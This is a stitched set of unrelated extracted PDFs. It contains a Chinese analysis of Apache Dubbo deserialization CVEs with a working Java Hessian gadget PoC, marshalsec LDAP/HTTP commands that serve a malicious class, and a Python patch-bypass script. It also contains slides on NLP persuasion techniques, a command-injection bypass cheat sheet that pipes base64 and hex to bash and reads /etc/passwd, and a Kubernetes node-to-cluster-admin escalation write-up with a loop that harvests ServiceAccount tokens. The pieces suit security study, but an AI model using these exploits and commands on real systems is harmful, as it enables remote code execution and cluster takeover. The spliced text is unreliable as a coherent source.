p.key) == key || (key != null && key.equals(k)))) 这条链是借助调用getbean public boolean equals(Object other) {    if (this == other) {        return true;   } else if (!(other instanceof PointcutAdvisor)) {        return false;   } else {        PointcutAdvisor otherAdvisor = (PointcutAdvisor)other;        return ObjectUtils.nullSafeEquals(this.getAdvice(), otherAdvisor.getAdvice()) && ObjectUtils.nullSafeEquals(this.getPointcut(), otherAdvisor.getPointcut());   } } public Advice getAdvice() {    Advice advice = this.advice;    if (advice == null && this.adviceBeanName != null) {        Assert.state(this.beanFactory != null, "BeanFactory must be set to resolve 'adviceBeanName'");        if (this.beanFactory.isSingleton(this.adviceBeanName)) {            advice = (Advice)this.beanFactory.getBean(this.adviceBeanName, Advice.class); public <T> T getBean(String name, Class<T> requiredType) throws BeansException {    try {        return this.isSingleton(name) ? this.doGetSingleton(name, requiredType) : this.lookup(name, requiredType); private <T> T doGetSingleton(String name, Class<T> requiredType) throws NamingException {        synchronized(this.singletonObjects) {            Object jndiObject;            if (this.singletonObjects.containsKey(name)) {                jndiObject = this.singletonObjects.get(name);                if (requiredType != null && !requiredType.isInstance(jndiObject)) {                    throw new TypeMismatchNamingException(this.convertJndiName(name), requiredType, jndiObject != null ? jndiObject.getClass() : null);               } else {                    return jndiObject;               }           } else {                jndiObject = this.lookup(name, requiredType);                this.singletonObjects.put(name, jndiObject);                return jndiObject;           }       }   } protected <T> T lookup(String jndiName, Class<T> requiredType) throws NamingException {        Assert.notNull(jndiName, "'jndiName' must not be null");        String convertedName = this.convertJndiName(jndiName);        Object jndiObject;        try {            jndiObject = this.getJndiTemplate().lookup(convertedName, requiredType); public <T> T lookup(String name, Class<T> requiredType) throws NamingException {        Object jndiObject = this.lookup(name); ublic Object lookup(final String name) throws NamingException {        if (this.logger.isDebugEnabled()) {            this.logger.debug("Looking up JNDI object with name [" + name + "]");       }        return this.execute(new JndiCallback<Object>() {            public Object doInContext(Context ctx) throws NamingException {                Object located = ctx.lookup(name);                if (located == null) {                    throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");               } else { 调用栈                    return located;               }           }       });   } public <T> T execute(JndiCallback<T> contextCallback) throws NamingException {        Context ctx = this.getContext();        Object var3;        try {            var3 = contextCallback.doInContext(ctx);       } finally {            this.releaseContext(ctx);       }        return var3;   } public Object lookup(final String name) throws NamingException {        if (this.logger.isDebugEnabled()) {            this.logger.debug("Looking up JNDI object with name [" + name + "]");       }        return this.execute(new JndiCallback<Object>() {            public Object doInContext(Context ctx) throws NamingException {                Object located = ctx.lookup(name);                if (located == null) {                    throw new NameNotFoundException("JNDI object with [" + name + "] not found: JNDI implementation returned null");               } else {                    return located;               }           }       });   } lookup:417, InitialContext (javax.naming) doInContext:155, JndiTemplate$1 (org.springframework.jndi) execute:87, JndiTemplate (org.springframework.jndi) lookup:152, JndiTemplate (org.springframework.jndi) lookup:179, JndiTemplate (org.springframework.jndi) lookup:95, JndiLocatorSupport (org.springframework.jndi) doGetSingleton:218, SimpleJndiBeanFactory (org.springframework.jndi.support) getBean:112, SimpleJndiBeanFactory (org.springframework.jndi.support) 0x04 漏洞分析 CVE-2019-17564 漏洞分析 影响版本 1. 2.7.0 <= Apache Dubbo <= 2.7.4.1 2. 2.6.0 <= Apache Dubbo <= 2.6.7 3. Apache Dubbo = 2.5.x 漏洞调试 下载 https://github.com/apache/dubbo-samples ,提取 dubbo-samples-http 模块,dubbo版本切换 为2.7.3版本,并且加入cc组件依赖进行漏洞调试。 先看到 http-provider.xml 文件,该文件配置声明暴露服务。 这里注册了 org.apache.dubbo.samples.http.api.DemoService 。 对 /org.apache.dubbo.samples.http.api.DemoService 接口发送payload,即gadget序列化数据, 然后来到 org.apache.dubbo.remoting.http.servlet.DispatcherServlet#service 方法中,将所 有请求都会走 DispatcherServlet 进行处理。 getAdvice:109, AbstractBeanFactoryPointcutAdvisor (org.springframework.aop.support) equals:74, AbstractPointcutAdvisor (org.springframework.aop.support) putVal:635, HashMap (java.util) put:612, HashMap (java.util) readMap:114, MapDeserializer (com.caucho.hessian.io) readMap:538, SerializerFactory (com.caucho.hessian.io) readObject:2110, Hessian2Input (com.caucho.hessian.io) main:59, SpringAbstractBeanFactoryPointcutAdvisortest   <dubbo:application name="http-provider"/>    <dubbo:registry address="zookeeper://${zookeeper.address:127.0.0.1}:2181"/>    <dubbo:protocol name="http" id="http" port="${servlet.port:8087}" server="${servlet.container:tomcat}"/>    <bean id="demoService" class="org.apache.dubbo.samples.http.impl.DemoServiceImpl"/>    <dubbo:service interface="org.apache.dubbo.samples.http.api.DemoService" ref="demoService" protocol="http"/> 跟进 handler.handle(request, response); 来到 org.apache.dubbo.rpc.protocol.http.HttpProtocol#handle 这里是获取url中的类名,然后从 skeletonMap 中取值将对应的 HttpInvokerServiceExporter 对象 protected void service(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {        HttpHandler handler = (HttpHandler)handlers.get(request.getLocalPort());        if (handler == null) {            response.sendError(404, "Service not found.");       } else {            handler.handle(request, response);       }   } public void handle(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException {            String uri = request.getRequestURI();            HttpInvokerServiceExporter skeleton = (HttpInvokerServiceExporter)HttpProtocol.this.skeletonMap.get(uri);            if (!request.getMethod().equalsIgnoreCase("POST")) {                response.setStatus(500);           } else {  RpcContext.getContext().setRemoteAddress(request.getRemoteAddr(), request.getRemotePort());                try {                    skeleton.handleRequest(request, response);               } catch (Throwable var6) {                    throw new ServletException(var6);               }           } 跟进 skeleton.handleRequest(request, response); 来到 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#handleRequest 跟进 this.readRemoteInvocation(request); 来到 org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvoc ation public void handleRequest(HttpServletRequest request, HttpServletResponse response) throws ServletException, IOException {    try {        RemoteInvocation invocation = this.readRemoteInvocation(request);        RemoteInvocationResult result = this.invokeAndCreateResult(invocation, this.getProxy());        this.writeRemoteInvocationResult(request, response, result);   } catch (ClassNotFoundException var5) {        throw new NestedServletException("Class not found during deserialization", var5);   } } protected RemoteInvocation readRemoteInvocation(HttpServletRequest request) throws IOException, ClassNotFoundException {    return this.readRemoteInvocation(request, request.getInputStream()); } org.springframework.remoting.httpinvoker.HttpInvokerServiceExporter#readRemoteInvoc ation this.doReadRemoteInvocation(ois); org.springframework.remoting.rmi.RemoteInvocationSerializingExporter#doReadRemoteIn vocation 疑惑留存 1. skeletonMap这个map中的加载流程 2. skeletonMap中的 HttpInvokerServiceExporter 实例化对象如何拿到和构造的。 3. 初始化时,dubbo加载的 DispatcherServlet 是从哪配置的,从哪些代码去实现的。 DispatcherServlet注册 DispatcherServlet的注册逻辑在 org.apache.dubbo.remoting.http.tomcat.TomcatHttpServer 中。 内嵌的tomcat容器,给添加了servlet的注册 protected RemoteInvocation readRemoteInvocation(HttpServletRequest request, InputStream is) throws IOException, ClassNotFoundException {    ObjectInputStream ois = this.createObjectInputStream(this.decorateInputStream(request, is));    RemoteInvocation var4;    try {        var4 = this.doReadRemoteInvocation(ois);   } finally {        ois.close();   }    return var4; } protected RemoteInvocation doReadRemoteInvocation(ObjectInputStream ois) throws IOException, ClassNotFoundException {        Object obj = ois.readObject();        if (!(obj instanceof RemoteInvocation)) {            throw new RemoteException("Deserialized object needs to be assignable to type [" + RemoteInvocation.class.getName() + "]: " + ClassUtils.getDescriptiveType(obj));       } else {            return (RemoteInvocation)obj;       }   } 版本更新 对 skeletonMap 进行了修改,在获取 skeleton 之后就会调用 JsonRpcBasicServer.hanlde , JsonRpcBasicServer 是 JsonRpcServer 的父类,在该类中没有反序列化的危险操作。 CVE-2020-1948 漏洞简介 Dubbo 2.7.6或更低版本采用hessian2实现反序列化,其中存在反序列化远程代码执行漏洞。攻击者可 以发送未经验证的服务名或方法名的RPC请求,同时配合附加恶意的参数负载。当服务端存在可以被利 用的第三方库时,恶意参数被反序列化后形成可被利用的攻击链,直接对Dubbo服务端进行恶意代码执 行。 漏洞版本 Apache Dubbo 2.7.0 ~ 2.7.6 Apache Dubbo 2.6.0 ~ 2.6.7 Apache Dubbo 2.5.x 所有版本 (官方不再提供支持)。 在实际测试中2.7.8仍旧可以打,而2.7.9失败 漏洞复现 修改 dubbo-samples/dubbo-samples-api/pom.xml 更改dubbo版本为2.7.3 启动dubbo-samples-api项目 <dependency>    <groupId>com.rometools</groupId>    <artifactId>rome</artifactId>    <version>1.8.0</version> </dependency> import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ToStringBean; import com.sun.rowset.JdbcRowSetImpl; import java.io.ByteArrayOutputStream; import java.io.OutputStream; import java.lang.reflect.Array; import java.lang.reflect.Constructor; import java.net.Socket; import java.util.HashMap; import java.util.Random; import marshalsec.HessianBase; import marshalsec.util.Reflections; import org.apache.dubbo.common.io.Bytes; import org.apache.dubbo.common.serialize.Cleanable; public class GadgetsTestHessian {    public static void main(String[] args) throws Exception {        JdbcRowSetImpl rs = new JdbcRowSetImpl();        //todo 此处填写ldap url        rs.setDataSourceName("ldap://127.0.0.1:8087/ExecTest");        rs.setMatchColumn("foo");        Reflections.setFieldValue(rs, "listeners",null);        ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);        EqualsBean root = new EqualsBean(ToStringBean.class, item);        HashMap s = new HashMap<>();        Reflections.setFieldValue(s, "size", 2);        Class<?> nodeC;        try {            nodeC = Class.forName("java.util.HashMap$Node");       }        catch ( ClassNotFoundException e ) {            nodeC = Class.forName("java.util.HashMap$Entry");       }        Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);        nodeCons.setAccessible(true);        Object tbl = Array.newInstance(nodeC, 2);        Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));        Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));        Reflections.setFieldValue(s, "table", tbl);        ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();        // header.        byte[] header = new byte[16];        // set magic number.        Bytes.short2bytes((short) 0xdabb, header);        // set request and serialization flag.        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);        // set request id.        Bytes.long2bytes(new Random().nextInt(100000000), header, 4);        ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();        Hessian2Output out = new Hessian2Output(hessian2ByteArrayOutputStream);        HessianBase.NoWriteReplaceSerializerFactory sf = new HessianBase.NoWriteReplaceSerializerFactory();        sf.setAllowNonSerializable(true);        out.setSerializerFactory(sf);        out.writeObject(s);        out.flushBuffer();        if (out instanceof Cleanable) {           ((Cleanable) out).cleanup();       }        Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);        byteArrayOutputStream.write(header);  byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());        byte[] bytes = byteArrayOutputStream.toByteArray();        //todo 此处填写被攻击的dubbo服务提供者地址和端口        Socket socket = new Socket("127.0.0.1", 20880);        OutputStream outputStream = socket.getOutputStream();        outputStream.write(bytes);        outputStream.flush();        outputStream.close();   } } java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8090/#ExecTest python -m http.server #挂载恶意类 poc对dubbo的端口,默认为20880进行发包 漏洞分析 断点打在 org.apache.dubbo.remoting.transport.netty4.NettyCodecAdapter#decode 该位置通过调用 Object msg = NettyCodecAdapter.this.codec.decode(channel, message); ,从 端口中接收序列化数据进行反序列化为一个Object对象。跟踪代码查看具体实现。  public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {        int save = buffer.readerIndex();        MultiMessage result = MultiMessage.create();        while(true) {            Object obj = this.codec.decode(channel, buffer);            if (DecodeResult.NEED_MORE_INPUT == obj) {                buffer.readerIndex(save); 继续跟踪 this.codec.decode(channel, buffer); 位置 来到 org.apache.dubbo.remoting.exchange.codec.ExchangeCodec#decode                if (result.isEmpty()) {                    return DecodeResult.NEED_MORE_INPUT;               } else {                    return result.size() == 1 ? result.get(0) : result;               }           }            result.addMessage(obj);            this.logMessageLength(obj, buffer.readerIndex() - save);            save = buffer.readerIndex();       }   } public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {        int readable = buffer.readableBytes();        byte[] header = new byte[Math.min(readable, 16)];        buffer.readBytes(header);        return this.decode(channel, buffer, readable, header);   } 调用 buffer.readableBytes 返回表示 ByteBuf 当前可读取的字节数,这里为670,是接受过来的序列化 数据包的长度,Math.min(readable,16)则取两值中最小的值。作为byte数组的长度,并且调用 buffer.readBytes 读取该大小,这里是16,读取16个长度。 传递到this.decode进行调用 public Object decode(Channel channel, ChannelBuffer buffer) throws IOException {    int readable = buffer.readableBytes();    byte[] header = new byte[Math.min(readable, 16)];    buffer.readBytes(header);    return this.decode(channel, buffer, readable, header); } 走到 var8 = this.decodeBody(channel, is, header); 跟进 一路执行来到下面这段代码中 in = CodecSupport.deserialize(channel.getUrl(), is, proto); 位置获取OutputSteam数据, 跟踪查看 protected Object decode(Channel channel, ChannelBuffer buffer, int readable, byte[] header) throws IOException {        int len;        int i;        if ((readable <= 0 || header[0] == MAGIC_HIGH) && (readable <= 1 || header[1] == MAGIC_LOW)) {            if (readable < 16) {                return DecodeResult.NEED_MORE_INPUT;           } else {                //获取数据的长度                len = Bytes.bytes2int(header, 12);                checkPayload(channel, (long)len);                i = len + 16;                if (readable < i) {                    return DecodeResult.NEED_MORE_INPUT;               } else {                    ChannelBufferInputStream is = new ChannelBufferInputStream(buffer, len);                    Object var8;                    try {                        var8 = this.decodeBody(channel, is, header); getSerialization 位置跟进查看代码 url.getParameter("serialization", "hessian2"); 位置获取序列化的数据类型 返回到上一层方法走到 return s.deserialize(url, is); 位置 实际上这里不是真正意义上的反序列化操作,而是将 is 的数据转换成一个 Hessian2ObjectInput 对象 的实例。 走到这一步执行回到 org.apache.dubbo.rpc.protocol.dubbo.DubboCodec#decodeBody 107行代码 中 data = this.decodeEventData(channel, in); public static ObjectInput deserialize(URL url, InputStream is, byte proto) throws IOException {    Serialization s = getSerialization(url, proto);    return s.deserialize(url, is); } public ObjectInput deserialize(URL url, InputStream is) throws IOException {    return new Hessian2ObjectInput(is); } 至此到达Hession2的反序列化触发点。和前面调试的利用链对比 构造数据的时候多了一下代码 其余都是一致的。 CVE-2020-11995 漏洞简介 Apache Dubbo默认反序列化协议Hessian2被曝存在代码执行漏洞,攻击者可利用漏洞构建一个恶意请 求达到远程代码执行的目的 漏洞版本 Dubbo 2.7.0 ~ 2.7.8 Dubbo 2.6.0 ~ 2.6.8 Dubbo 所有 2.5.x 版本 byte[] header = new byte[16];        // set magic number.        Bytes.short2bytes((short) 0xdabb, header);        // set request and serialization flag.        header[2] = (byte) ((byte) 0x80 | 0x20 | 2);        // set request id.        Bytes.long2bytes(new Random().nextInt(100000000), header, 4); 设置 method 等于 $invoke 或 $invokeAsync 、 $echo 即可绕过该补丁 if (pts == DubboCodec.EMPTY_CLASS_ARRAY) {                    if (!RpcUtils.isGenericCall(path, this.getMethodName()) && !RpcUtils.isEcho(path, this.getMethodName())) {                        throw new IllegalArgumentException("Service not found:" + path + ", " + this.getMethodName());                   }                    pts = ReflectUtils.desc2classArray(desc);               } public static boolean isGenericCall(String path, String method) {        return "$invoke".equals(method) || "$invokeAsync".equals(method);   } public static boolean isEcho(String path, String method) {        return "$echo".equals(method);   } from dubbo.codec.hessian2 import Decoder,new_object from dubbo.client import DubboClient client = DubboClient('127.0.0.1', 20880) JdbcRowSetImpl=new_object(      'com.sun.rowset.JdbcRowSetImpl',      dataSource="ldap://127.0.0.1:8087/Exploit",      strMatchColumns=["foo"]     ) JdbcRowSetImplClass=new_object(      'java.lang.Class',      name="com.sun.rowset.JdbcRowSetImpl",     ) toStringBean=new_object(      'com.rometools.rome.feed.impl.ToStringBean',      beanClass=JdbcRowSetImplClass,      obj=JdbcRowSetImpl     ) resp = client.send_request_and_return_response(    service_name='org.apache.dubbo.spring.boot.sample.consumer.DemoService',    method_name='$invoke',    service_version='1.0.0', 疑惑留存 在前面的构造的Java代码的poc中,即spring aop链或Rome链,能打2.7.8版本,并且没有走到 org.apache.dubbo.rpc.protocol.dubbo.DecodeableRpcInvocation#decode 补丁处,而使用 python该脚本时候则会走到补丁位置。 在请教了三梦师傅后,得知该补丁只是在 Xbean 利用链基础上进行了修复。导致其他利用链在2.7.8版本 中依旧能使用。但从python代码中看着更像是Rome Gadget的构造。而在实际测试当中,XBean的 Gadget确实走入到了补丁的逻辑处。 在此几个疑惑留存留到后面的dubbo源码分析中去解读结果尚未解决的疑惑点。 参考 Dubbo的反序列化安全问题-Hessian2 dubbo源码浅析:默认反序列化利用之hessian2 Hessian 反序列化及相关利用链 0x05 结尾 天气冷了,注意保暖。共勉。    args=[toStringBean])
pdf
Hacking the Mind: NLP and Influence by Mystic Goals for Talk Introduction to NLP Tools for using NLP to influence Gaining rapport Motivation strategies Submodalities Milton Model What is NLP? Neuro-Linguistic Programming Neuro: Our neurology and our five senses Linguistic: The language we use to describe our word and communicate with others Programming: The habitual and often sequential nature of our thoughts, feelings, and actions History of NLP Richard Bandler and John Grinder (1970’s) Studied successful therapists (Fritz Perls, Virginia Satir, etc..) Observed patterns in their behaviors The Structure of Magic I and II Meta-Model History of NLP Met Dr. Milton H. Erickson Master of “indirect” hypnosis The Milton Model Proof that powerful skills can be duplicated History of NLP Presuppositions of NLP The map is not the territory Experience has a structure The mind and body are parts of the same system If one person can do something, anyone can learn to do it People already have all the resources they need You cannot NOT communicate The meaning of your communication is the response you get Underlying every behavior is a positive intention People are always making the best choice(s) available to them If what you are doing isn't working, do something else. Do anything else. Building Physical Rapport Mirroring and Matching Body position, posture, movement, rhythm, breathing Voice tone, speed, volume, rhythm Do not mimic Building Verbal Rapport Representational systems Visual, auditory, kinesthetic, olfactory (smell), gustatory (taste) People usualy prefer or “lead” with one or two Building Verbal Rapport Predicates Everything after and including the verb of a sentence Can help to determine the representational system being used Example: “I can see what you’re saying clearly” Communicating with someone using the same rep. system they are using can help to gain rapport Visual Phrases: I see what you mean We see eye to eye The future looks Bright Auditory Phrases Loud and clear Unheard-of Word for word Kinesthetic Phrases I can grasp that idea I got the hang of it I will get in touch with you Olfactory and Gustatory Phrases a sweet person something smells fishy that's bitter-sweet Building Verbal Rapport Motivation Strategies (metaprograms) Metaprograms: perceptual filters Motivation Strategies Toward: motivated toward their goals. Go for what you want. Away-from: motivated to avoid what you don't want. Submodalities The way we think about / perceive something is directly linked to the way we feel about it For visual rep. system. The bigger and brighter an image is in your mind, the more real, close, or attractive it feels. Submodalities Use submodality words and phrases to make the picture you want in their head, as big, bright, and real as possible Combine with motivation strategies away-from: "I know you want to avoid a potentially big situation, by pissing off the boss, so do I, let's just get this done before it gets any bigger." toward: "I know you want to make the boss happy, if you do this, I know he'll have a big bright smile on his face, and the future you want in the company will be closer than ever." Milton Model The Milton Model Pace and lead a person's reality Distract and utilize the conscious mind Access the unconscious and resources Used for hypnotic induction, therapy, influence Milton Model Pacing and leading Pacing Rapport Describe on going experience Leading Make suggestions Indirect (deep structure) Milton Model Techniques: Ambiguity (Generalized Referential Index) Certain things might come to mind People can begin to feel more comfortable when listening to a good speaker Presuppositions: assumptions that have to be made in order to make sense of a sentence Will you be more relaxed if you stand up or sit down? After you've told me what I need to know, you can go back to what you were doing. Imbedded commands: I don't know if you can listen carefully to what I have to say. When I talk people are able to listen carefully to what I have to say. You don't have to listen carefully to what I have to say, but as you do you will begin to realize how you can use NLP in your own life. Sources and Resources Introducing NLP, by Joseph O'Connor & John Seymour NLP: The new technology of achievement, by Steve Andreas & Charles Faulkner Patterns of the Hypnotic Techniques of Milton H. Erickson, M.D. Volume 1, by Richard Bandler and John Grinder
pdf
// `id` $(id) \nid idwhoami id&&whoami id||whoami // {ls,-l} ls\t-l $(printf "\154\163") l''s'' l""s l``s l\s ls$u cat /???/pass* cat /etc$u/passwd cat /etc/pass{wd,} a=c;b=a;c=t; $a$b$c 1.txt //base64 echo 'cat' | base64 `echo 'Y2F0wqAK' | base64 -d` 1.txt //base64cat /etc/passwd echo 'Y2F0IC9ldGMvcGFzc3dk' | base64 -d | bash //16cat /etc/passwd echo "636174202F6574632F706173737764" | xxd -r -p|bash // cd - // cd ~test ///home/test memo 0x00 0x01 0x02 0x03 0x04
pdf
node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md 5/23/2022 1 / 8 如何从 Kubernetes 节点权限提升⾄集群管理员权限? 我有幸参加了去年的 KubeCon 并分享议题,议题的其中⼀个攻防案例讲述了如何从⼀个边缘业务的开发者权 限逐步提升⾄ Kubernetes 集群管理员权限;其中最后⼀步的⼿法,是描述关于节点上利⽤ DaemonSet 和 Pod 上的 ServiceAccount token 进⾏提权,那⼀年我在补天上的议题也简述了这个⼿法。在今年的 KubeCon 欧洲上,这样的攻击⼿法被命名为了"蹦床"。快速过完国外的这篇 slide 之后,深感他们研究的细致和⽤⼼, 对⽐我去年的形⾊匆匆熬夜赶稿,他们倾注了更多的时间和资源,完成了我的很多遗憾和不⽢;也让我重拾 了这块研究的很多记忆。 诶,很多TIPS捂着捂着就捂坏了,再熬夜通宵写完这篇稿⼦吧。 我把历史上这块相关的分享都汇总到了 https://github.com/neargle/my-re0-k8s-security , ⽤于知识整理、勘 误和迭代,⽤来避免各平台不⽅便修改内容的问题。 Kubernetes集群下的横向移动 本质上,今天要讲的技巧和⼿法就是攻防中经典环节:横向移动;只不过在 Kubernetes 节点中的横向移动有 ⼀些新的技巧和⼿法,更加通⽤、危害也更⼤。 图引⽤⾃: https://ithelp.ithome.com.tw/articles/10262662 本⽂涉及的横向移动⼿法⼀般发⽣于 Kubernetes 的节点上,即红队已经获取了 Kubernetes 集群的⼀台服务 器权限,并以当前的服务器为起点横向移动控制更多的服务器,从⽽通往靶标;这⾥最直接的⽅法就是找机 会把⾃⼰的权限从节点权限提升到集群管理员(cluster admin)权限,拥有控制 Kubernetes 集群任意资源的 能⼒。 当然,除了直接提升到 Cluster admin,我们也经历过⽐较曲折需要⼀步步提权的渗透过程;例如: 从节点A控制节点B上的Pod和容器,再逐步提升⾄ Cluster admin; 从节点A控制节点B整个服务器,再逐步提升⾄ Cluster admin; node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md 5/23/2022 2 / 8 把当前节点的POD通过 nodeSelector lable 等配置迁移到其他节点,继续渗透该节点,再逐步提升⾄ Cluster admin; 从节点A获取控制 Service、Ingress 等资源的权限,拥有管控东⻄向或南北向流量的能⼒,然后利⽤ Ingress-nginx CVE-2021-25742 的漏洞提升到 Cluster admin; 修改 ServiceAccount 的权限绑定、查看更多Secret秘钥、甚⾄集群内的中间⼈攻击(如利⽤ CVE- 2020-8554 漏洞)等等 但是都会经常和 ServiceAccount 的利⽤⼿法打交道,也就是 Palo Alto Networks 研究员所说的 “蹦床” (Trampoline) ⼿法。 可能"蹦床"⼿法并⽆必要 不过其实⼤部分情况下,红队⽆需了解 ServiceAccount 也能完成横向移动⽬标。现在的集群管理员有很多坏 ⽑病,⽐如有些集群管理员会在每个节点的 ~/.kube/config 或其他⽬录放置集群管理员的 kubeconfig ⽂件⽅ 便运维;只要 find ⼀下,我们就能获取 Kubernetes 的集群管理员权限。 同时,如果集群管理员不遵守节点上的运维规范,传统的横向移动⼿段也依然适⽤,包括但不限于: 服务器上监听的端⼝存在RCE漏洞 节点上放置了可以登录其他服务器的 SSH 私钥 获取 SSH 密码,如 本地信息收集、strace、sudo钓⻥等 节点 Agent 的漏洞挖掘 ⽤漏洞攻击⾃动化运维管控系统、跳板机、堡垒机、密码库、发布平台等 当然,Kubernetes集群对于攻防来说,最⼤的变化之⼀就是:把业务和应⽤的可执⾏能⼒从服务器上限制到 ⼀个个 POD 中,业务代码和业务运维原则上不会拥有控制节点的能⼒,也⽆法影响到节点服务器。所以,如 果是标准且原⽣的线上集群,集群管理员是不会登录到各个节点上进⾏运维的,也不会留下很多痕迹和攻击 ⼊⼝。 DaemonSet 和 ServiceAccount 这个⼿法的核⼼需要理解 DaemonSet 和 ServiceAccount 的设计,其中 DaemonSet 经常被集群管理员⽤来 运维和管理节点,也得到了很多云原⽣安全 Agent 的⻘睐。之所以这个⼿法⽐较通⽤,是 DaemonSet 和 ServiceAccount 有两个默认特性: 1、当集群管理员新建⼀个 DaemonSet 资源时,每个节点上都会运⾏⼀个由 DaemonSet 管理的 POD 实例 副本; 因为这样的特性,我经常⽤ DaemonSet 兼岗运维来帮集群管理员处理⼀些安全问题,例如我就经常使⽤下 ⾯的 DaemonSet 帮忙清理集群下所有服务器的 SSH 私钥、配置⽂件、⽇志等敏感信息;因为业务都跑在 POD 上,POD Security Policy 规范了 POD 的挂载和权限,所以⼀般也不⽤担⼼业务因为节点上的⽂件清理 ⽽故障。这样的运维⽅式,也可以让节点上的运维组件进⼀步减少,⼀定程度上减少了攻击⾯。 apiVersion: extensions/v1beta1 kind: DaemonSet spec: ... template: metadata: labels: node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md 5/23/2022 3 / 8 spec: containers: - image: busybox command: - sh - -c - rm /ssh/.ssh/id_rsa name: rm volumeMounts: - mountPath: /ssh name: root volumes: - hostPath: path: /root type: Directory name: root 注:该 DaemonSet 会删除当前集群⾥所有节点上 root ⽤户的 SSH 私钥(默认路径下)。 2、每个 POD 在新建时都会绑定⼀个 ServiceAccount,每个 ServiceAccount 默认绑定了 Secret,默认存 放在容器⾥的 /var/run/secrets/kubernetes.io/serviceaccount ⽬录下。 假如集群管理员给⼀个 DaemonSet 绑定了⼀个 ServiceAccount,并修改这个 ServiceAccount 的 RBAC 设 置,给他等同于 Cluster Admin 的权限。 那么,当我们控制了⼀台节点服务器时,由于 DeamonSet 会在每⼀台节点服务器上创建⼀个 POD 副本,所 以⽆论我们控制了集群中的哪⼀台服务器,都可以提升⾄集群管理员的权限,也等于可以控制当前集群下所 有节点的服务器,可控集群⾥的任意资源了。 此前的权限提升案例 1. 服务器本地信息收集 node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md 5/23/2022 4 / 8 我在 KubeCon 分享的案例就是类似的情况,当我们通过容器逃逸获取了⼀台服务器的权限后,我们发现这台 服务器是⼀台⽐较标准的 Kubernetes 节点: 这台服务器只有⼀条远久的 SSH 登录记录 节点上的 history 等⽇志⽂件少得可怜,⼏乎没有什么有⽤信息 节点上的秘钥⽂件已经全部被清理 节点上除了 HIDS Agent 之外,没有其他⽤于运维的组件 等等 当然,这不代表以前我们积累下来的横向移动⼿法都不可⾏了,但 Kubernetes 的集群架构确实让 RCE 后的 本地信息收集少了很多遇到惊喜的可能性。 2. 分析 DeamonSet 通过分析节点上正在运⾏的 POD,同时 Kubelet 默认也包含查询集群内其他节点 POD 的权限,我可以得知 当前的集群⾥使⽤了以下⼏类 DeamonSet: . ⽹络管理和CNI插件 . kube-proxy . ⽇志组件 . prometheus & node-problem 运维监控 . 存储组件 . 安全 Agent 其中,kube-system/kube-proxy 是 Kubernetes 的默认设计,他的 ServiceAccount ⼀般不做修改,利⽤价值 有限。 3. 提权 node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md 5/23/2022 5 / 8 最终我们发现其中⼀个 DaemonSet: 安全 Agent,其配置⽂件⾥给 ServiceAccount 设置了 RBAC 权限,绑定 了⼀个权限较⼤的 Cluster role,并且可以 list 和 get secret 信息。虽然,其他 DaemonSet 的 ServiceAccount 也设置了不同 RBAC 权限,但当我们拥有了 kube-system 命名空间下的 Secret 权限时,我 们就等同拥有了 K8s Cluster Admin 的权限。也由于我们本次的靶标在集群内,所以最终我们达成了⽬标。 (画外⾳:这个 DaemonSet 还配置了很多重复且杂七杂⼋的 Capability,安全 Agent 配置特定的 Capability 来提升权限并不少⻅,但研发者可能并不能很好的把握每个 Capability 的作⽤,有些甚⾄配置了特权容器以 求⽅便。由于 DaemonSet 的配置⼀般不会经由 PodSecurityPolicy 或 K8s Admission Webhook 所限制,权 限过⼤和权限滥⽤的情况还是⽐较多的,建议集群管理员也注意此处的权限收敛。 这⾥红队朋友们可以使⽤⼀条简单的命令来测试当前的服务器上的所有容器的 ServiceAccount 是否拥有列举 Secret 的权限,⽐较好的⽅式是使⽤ kubectl auth can-i 来检测,但节点和POD上⼀般不安装 kubectl,所以 我更倾向⽤ curl 进⾏简单测试。 docker ps | grep -v "/pause" | awk -F" " '{print $1}' | grep -v CONTAINER | while read line; do echo $line; docker exec -t $line sh -c 'curl -k "https://$KUBERNETES_SERVICE_HOST:$KUBERNETES_SERVICE_PORT/api/v1/namespac es/kube-system/pods?limit=2" -H "Authorization: Bearer `cat /var/run/secrets/kubernetes.io/serviceaccount/token`"'; done; 当然,这个⽅法并不优雅;熟悉我的同学知道我还维护了⼀个容器安全⼯具 📦 CDK,集成了很多容器和 Kubernetes安全测试的特性;有⼀个功能“检测节点上 ServiceAccount 可⽤于提权的权限”⼀直躺在我的 TODO ⾥,但⼀直没得空去实现出来,欢迎PR,或者催我更新😭 除了列举和查看 secret 的权限,还有很多集群内的⽬标和权限与 Cluster Admin 等价,我之前画了⼀张图可 以作为参考: node_to_clusteradmin-如何从Kubernetes节点权限提升⾄集群管理员权限.md 5/23/2022 6 / 8 锅不能全给集群管理员 看到这⾥,⼤家可能会认为这⾥问题主要是集群管理员的错误配置导致的。其实不然,很多集群在从云⼚商 购买下来的时候就已经内置了⼀些 DaemonSet,⽤来增强集群和节点上的能⼒,提升运维和⽹络通讯的效 率;这⾥不乏错误配置的情况,AKS(微软), EKS(AWS), GKE(Google), OpenShift 此前都有这样的问题,轻则 可以控制POD,重则可以提权⾄ Cluster Admin 权限;同时像 Antrea, Calico, Cilium, WeaveNet 